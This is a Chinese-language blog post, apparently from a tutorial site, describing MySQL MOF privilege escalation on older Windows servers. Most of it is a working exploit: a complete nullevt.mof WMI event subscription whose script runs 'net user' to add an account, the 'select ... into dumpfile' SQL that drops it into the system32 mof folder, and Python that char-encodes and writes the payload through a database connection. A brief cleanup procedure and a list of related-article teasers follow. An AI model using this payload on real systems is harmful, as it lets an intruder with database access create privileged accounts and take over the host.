mysql mof_关于mysql mof提权研究
无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间。
利用前提:操作系统为windows
操作系统版本不宜太高,2008测试不通过,2003可(因为需要访问到system32中目录)或说mysql启动身份具有权限去访问和写入c:/windows/system32/mof目录
数据库为mysql且知道mysql登录账号密码和允许外连(或存在sql注入或webshell中操作,未实践)
先简单介绍一下原理(摘自网上和个人实践后得出)
放置在c:/windows/system32/mof目录下的nullevt.mof文件每个五秒钟会被自动执行并且消失,如果后续没有创建新的该文件,那么每五秒会循环执行之前的nullevt.mof中内容,那么只需要将恶意代码写入该文件中即可。
网上已公开nullevt.mof中的利用代码#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
常规利用过程步骤如下:上传该文件到服务器上任意位置,名字任意
通过mysql语句 select load_file(上传的文件路径) into dumpfile 'c:/windows/system32/mof/nullevt.mof'
即可,如果成功上传,经过一段时间后,里面嵌入的代码会被执行
个人觉得要上传文件显得过于麻烦,能不能直接select 'xxxxx' into,经过尝试,要将该内容进行转码后再查询即可,提供部分py代码作为演示
使用mysql中char函数解决payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
'''
ascii_payload = ''
for each_chr in payload:
ascii_payload += str(ord(each_chr)) + ','
ascii_payload = ascii_payload[:-1]
cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)
由于mof是由system执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。
如果服务器发现被使用mof提权,该如何解决循环创建用户?
打开cmd使用以下命令
net stop winmgmt
删除文件夹下内容 c:/windows/system32/wbem/repository
net start winmgmt
即可
错误之处,敬请指正
mysql mof_关于mysql mof提权研究相关推荐
- mysql mof提权原理_关于mysql mof提权研究
无意中看到有关mysql的这种提权方式,趁着有空余时间便研究了起来,发现网上有挺多地方写的不够详细的,研究的时候也卡壳了一段时间. 利用前提:操作系统为windows 操作系统版本不宜太高,2008测 ...
- mysql进行mof提权_MySQL数据库Root权限MOF方法提权研究
MySQL数据库Root权限MOF方法提权研究 MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Wi ...
- mysql mof提权原理_[原创]WEB安全第六章提权篇12 mof提权
WEB安全第六章提权篇12 mof提权 1.mof是什么 托管对象格式 (MOF) 文件是创建和注册提供程序.事件类别和事件的简便方法.在 MOF 文件中创建类实例和类定义后,可以对该文件进行编译.编 ...
- 2021-06-03web渗透学习之mof提权(MySQL 漏洞利用与提权)(转自国大佬)
自从接触安全以来就 MySQL 的 UDF 提权.MOF 提权耳熟能详,但是貌似国光我一直都没有单独总结过这些零散的姿势点,所以本文就诞生了,再解决自己以前的困扰之余,也希望本文可以帮助到其他网友. ...
- 113.网络安全渗透测试—[权限提升篇11]—[Windows 2003 Mysql MOF提权]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 1.mof提权原理: 2.mof提权限制: 3.mof提权过程: (1)实验环境: (2)靶机链接: (3)实验 ...
- mysql mof提权原理_mof提权原理及实现
关于 mof 提权的原理其实很简单,就是利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的c ...
- mysql mof提权原理_mof提权原理及其过程
mof提权的原理: mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就 ...
- mysql mof提权_MySQL_MOF提权
一.原理 Windows管理规范(WMI)提供了如下三种方法编译WMI存储库的托管对象格式(MOF)文件: 将MOF文件执行为命令行参数及Mofcomp.exe文件 使用IMofCompiler接口和 ...
- mysql mof提权原理_Mof提权科普
首先呢先谢谢米爷在我弄这个的时候把我骂开窍了- -. 不多说了~.~像名称一样哈~ 首先呢是朋友扔我一shell 他提权差就给咱了,简单的看了下,是php脚本的,一看php脚本就肯定带有,mysql. ...
最新文章
- 数据库MYSQL学习系列一
- 【Scratch】青少年蓝桥杯_每日一题_5.07_猜数字
- Spring bean - scope详解
- mysql 5.7.13安装_安装MySQL 5.7.13
- sqlserver 还原到时间点
- 洛谷 P2951 [USACO09OPEN]捉迷藏Hide and Seek
- [AGC026D]Histogram Coloring
- 小白学 Python 爬虫:自动化测试框架 Selenium 从入门到实战
- python数据结构实验目的_图的基本操作实现(数据结构实验)
- 凭什么程序员工资那么高?
- 设计模式——19.迭代器模式
- 在 Ubuntu 和 Linux Mint 上释放空间的9种简单方法
- linux查看网卡吞吐量和网卡流量用自带命令,iptraf查看。
- 44款最适合海报设计的英文字体
- CCF推荐的A类、B类、C类中文科技期刊
- 【Matlab读取图片提取RGB分量并将图片转化为二维三维数据作图】
- win10 appdata文件夹在哪 隐藏文件夹appdata的打开方法
- 软件设计模式Java版
- 初中数学抽象教学的案例_初中数学数形结合思想教学研究与案例分析
- java数组实现五子棋
热门文章
- 基础SQL面试题(3)
- shell中常用系统变量和条件判断
- 百度js库tangram开源
- 解决element-ui表头错位的问题
- SpringMVC注解@initbinder解决类型转换问题
- 解决Layui的switch样式显示问题
- 问题解决笔记,Restarting network (via systemctl):: Job for network.service failed. ...
- org.mybatis.spring.MyBatisSystemException异常及处理
- 使用PHP搞定支付宝、微信扫码支付
- 如何从Docker容器内部连接到计算机的本地主机?